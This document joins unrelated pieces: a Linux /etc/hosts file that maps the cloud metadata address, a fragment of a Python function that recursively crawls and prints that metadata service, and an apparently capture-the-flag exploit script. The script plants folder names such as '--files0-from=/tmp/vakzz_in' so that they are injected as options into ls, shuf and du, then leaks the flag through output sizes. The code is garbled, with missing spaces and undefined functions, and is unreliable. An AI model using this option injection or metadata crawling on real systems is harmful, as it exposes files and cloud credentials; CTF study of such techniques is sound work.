# /etc/hosts: Local Host Database # # This file describes a number of aliases-to-address mappings for the for # local hosts that share this file. # # In the presence of the domain name service or NIS, this file may not be # consulted at all; see /etc/host.conf for the resolution order. #
# IPv4 and IPv6 localhost aliases 127.0.0.1 localhost ::1 localhost
# # Imaginary network. #10.0.0.2 myname #10.0.0.3 myfriend # # According to RFC 1918, you can use the following IP networks for private # nets which will never be connected to the Internet: # # 10.0.0.0 - 10.255.255.255 # 172.16.0.0 - 172.31.255.255 # 192.168.0.0 - 192.168.255.255 # # In case you want to be able to connect directly to the Internet (i.e. not # behind a NAT, ADSL router, etc...), you need real official assigned # numbers. Do not try to invent your own network numbers but instead get one # from your network provider (if any) or from your regional registry (ARIN, # APNIC, LACNIC, RIPE NCC, or AfriNIC.) # 169.254.169.254 metadata.google.internal metadata
defgetInfo(parent,path): r = req(parent,path) if r.status_code == 500: return print(parent+path) print(r.text) print("----------------------------------------------------------------------") ifnot path.endswith("/"): return child = r.text.splitlines() parent=parent+path for i in child: getInfo(parent,i)
if __name__ == "__main__": s1 = requests.Session()
# create a session resp = req(s1, "/")
# use create playlist to generate the command `mkdir -p ./--output=/tmp/vakzz_in` req(s1, "/?args=-p ./--output=/tmp/vakzz_in&op=create")
# also create a `-z` folder req(s1, "/?args=./-z&op=create")
# use `--` so that the remaining args are not treated as options, will run `ls -- -z --output=/tmp/vakzz_in /flag/` # since all of these folders exist ls will exit cleanly and add our args to the queue req(s1, "/q/add?args=-- -z --output=/tmp/vakzz_in /flag/")
# remove the `--` from the queue req(s1, "/q/skip")
# shuffle the queue which will run `shuf -e -z --output=/tmp/vakzz_in /flag/` # this writes final argument as a null terminated string to the specified output file req(s1, "/q/shuf")
# now /tmp/vakzz_in contains `/flag/\x00`
# rate limit time.sleep(10)
# new session as need more playlists s2 = requests.Session() resp = req(s2, "/")
# create the folder `--files0-from=/tmp/vakzz_in` for option injection req(s2, "/?args=-p ./--files0-from=/tmp/vakzz_in&op=create")
# create the folder `--exclude=flag?[1-9]*` for option injection req(s2, "/?args=./--exclude=flag?[1-9]*&op=create")
# now `--files0-from=/tmp/vakzz_in` and `--exclude=flag?[1-9]*` are both in the names array and can be used in args
# use stat to run `du` with our injection options, causing it to look at folders from /tmp/vakzz_in and exclude # anything that matches the supplied pattern: `du -sh --files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*` resp = req(s2, "/?args=--files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*&op=stat")
# if the flag was excluded then this will return `8.0K /flag/` otherwise `16K /flag/`, letting us know if # the flag starts with 0-9 or a-f. print(resp.text.split('<div class="field-row"><label>')[2].split(" ")[0])